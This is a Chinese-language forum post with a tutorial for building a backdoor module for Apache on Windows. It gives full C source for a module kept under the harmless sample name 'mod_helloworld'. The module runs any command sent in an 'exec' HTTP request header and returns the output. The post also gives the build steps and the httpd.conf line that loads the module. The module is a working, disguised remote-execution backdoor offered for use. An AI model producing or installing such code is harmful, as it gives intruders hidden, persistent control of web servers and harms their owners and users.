搜索
查看: 437|回复: 0

windows下apache后门模块开发

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-7-3 10:34:29 | 显示全部楼层 |阅读模式
原文链接:http://ringk3y.com/2018/06/02/wi ... %E5%BC%80%E5%8F%91/

前言
本来打算windows和linux一起写的,但是发现有大佬发了个linux版的,写得非常好。
借鉴其思路,在windows下开发apache 后门模块
配置环境
准备如下软件
apxs_win32.tar.gz、apache、vs2017、perl
解压apxs,安装perl,执行
  1. perl Configure.pl --with-apache2=E:\test\apache2.4.23 --with-apache-prog=httpd.exe
复制代码
提示需要安装dmake的话就先执行
  1. ppm install dmake
复制代码
可以在E:\test\apache2.4.23\bin 目录下看到已经添加了apxs.bat
将 E:\test\apache2.4.23\bin 设置环境变量
修改apache下的build目录中config_vars.mk
CC = gcc 的gcc改为cl.exe
LD = g++的g++改为link.exe
CPP = gcc-E的gcc-E删掉
CFLAGS的 /MD 改为/MT
apxs参数说明
  1. -c 执行编译操作
  2. -i 安装操作,安装一个或多个动态共享对象到服务器的modules目录
  3. -a 自动增加一个LoadModule行到httpd.conf文件,以激活此模块,若此行存在则启用之
  4. -A 与-a类似,但是它增加的LoadModule行前有井号前缀(#)
  5. -e 需要执行编辑操作,可与-a和-A选项配合使用,与-i操作类似,修改httpd.conf文件,但并不安装此模块
复制代码
创建项目
  1. apxs -g -n helloworld
复制代码
修改helloworld.c为如下
  1. /*
  2. **  mod_helloworld.c -- Apache sample helloworld module
  3. **  [Autogenerated via ``apxs -n helloworld -g'']
  4. **
  5. **  To play with this sample module first compile it into a
  6. **  DSO file and install it into Apache's modules directory
  7. **  by running:
  8. **
  9. **    $ apxs -c -i mod_helloworld.c
  10. **
  11. **  Then activate it in Apache's apache2.conf file for instance
  12. **  for the URL /helloworld in as follows:
  13. **
  14. **    #   apache2.conf
  15. **    LoadModule helloworld_module modules/mod_helloworld.so
  16. **    <Location /helloworld>
  17. **    SetHandler helloworld
  18. **    </Location>
  19. **
  20. **  Then after restarting Apache via
  21. **
  22. **    $ apachectl restart
  23. **
  24. **  you immediately can request the URL /helloworld and watch for the
  25. **  output of this module. This can be achieved for instance via:
  26. **
  27. **    $ lynx -mime_header http://localhost/helloworld
  28. **
  29. **  The output should be similar to the following one:
  30. **
  31. **    HTTP/1.1 200 OK
  32. **    Date: Tue, 31 Mar 1998 14:42:22 GMT
  33. **    Server: Apache/1.3.4 (Unix)
  34. **    Connection: close
  35. **    Content-Type: text/html
  36. **
  37. **    The sample page from mod_helloworld.c
  38. */

  39. #include "httpd.h"
  40. #include "http_config.h"
  41. #include "http_protocol.h"
  42. #include "ap_config.h"
  43. #include <stdio.h>
  44. #include "Windows.h"
  45. #pragma warning(disable:4996)



  46. /* The sample content handler */
  47. static int helloworld_handler(request_rec *r)
  48. {
  49.     /*
  50.     if (strcmp(r->handler, "helloworld")) {
  51.         return DECLINED;
  52.     }
  53.     r->content_type = "text/html";

  54.     if (!r->header_only)
  55.         ap_rputs("The sample page from mod_helloworld.c\n", r);
  56.     */
  57.     /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  58.     const apr_array_header_t    *fields;
  59.     int                         i;
  60.     apr_table_entry_t           *e = 0;
  61.     char FLAG = 0;
  62.     /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

  63.     fields = apr_table_elts(r->headers_in);
  64.     e = (apr_table_entry_t *) fields->elts;

  65.     for(i = 0; i < fields->nelts; i++) {
  66.         if(strcmp(e[i].key, "exec") == 0){
  67.             FLAG = 1;
  68.             break;
  69.         }
  70.     }

  71.     if (FLAG){
  72.         char * command = e[i].val;
  73.         FILE* fp = _popen(command,"r");
  74.         char buffer[0x100] = {0};
  75.         int counter = 1;
  76.         while(counter){
  77.             counter = fread(buffer, 1, sizeof(buffer), fp);
  78.             ap_rwrite(buffer, counter, r);
  79.         }
  80.         _pclose(fp);
  81.         return DONE;
  82.         
  83.     }
  84.     return DECLINED;
  85. }

  86. static void helloworld_register_hooks(apr_pool_t *p)
  87. {
  88.     ap_hook_handler(helloworld_handler, NULL, NULL, APR_HOOK_MIDDLE);
  89. }

  90. /* Dispatch list for API hooks */
  91. module AP_MODULE_DECLARE_DATA helloworld_module = {
  92.     STANDARD20_MODULE_STUFF,
  93.     NULL,                  /* create per-dir    config structures */
  94.     NULL,                  /* merge  per-dir    config structures */
  95.     NULL,                  /* create per-server config structures */
  96.     NULL,                  /* merge  per-server config structures */
  97.     NULL,                  /* table of config file commands       */
  98.     helloworld_register_hooks  /* register hooks                      */
  99. };
复制代码
这段代码功能为
如果http请求头中有exec字段,就将该字段的内容当作命令执行,获取结果后打印出来并通知服务器不用往下处理了,如果没有exec字段就告诉服务器当作普通请求来处理
编译项目
运行Visual Studio 命令提示符,路径为
  1. C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\VC\Auxiliary\Build
复制代码
在该位置打开cmd,并运行vcvars64.bat
cd 到helloworld路径下,编译项目
  1. apxs -c mod_helloworld.c libapr-1.lib libaprutil-1.lib libapriconv-1.lib libhttpd.lib
复制代码
如果编译失败提示 “该符号在函数 _popen 中被引用” 就在E:\test\apache2.4.23\bin 471行中把相关库添加进去
将编译好后的mod_helloworld.so文件放到E:\test\apache2.4.23\modules目录
在E:\test\apache2.4.23\conf\httpd.conf文件中添加

  1. LoadModule helloworld_module modules/mod_helloworld.so
复制代码
重启apache服务,http头中带上exec,即可执行命令




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表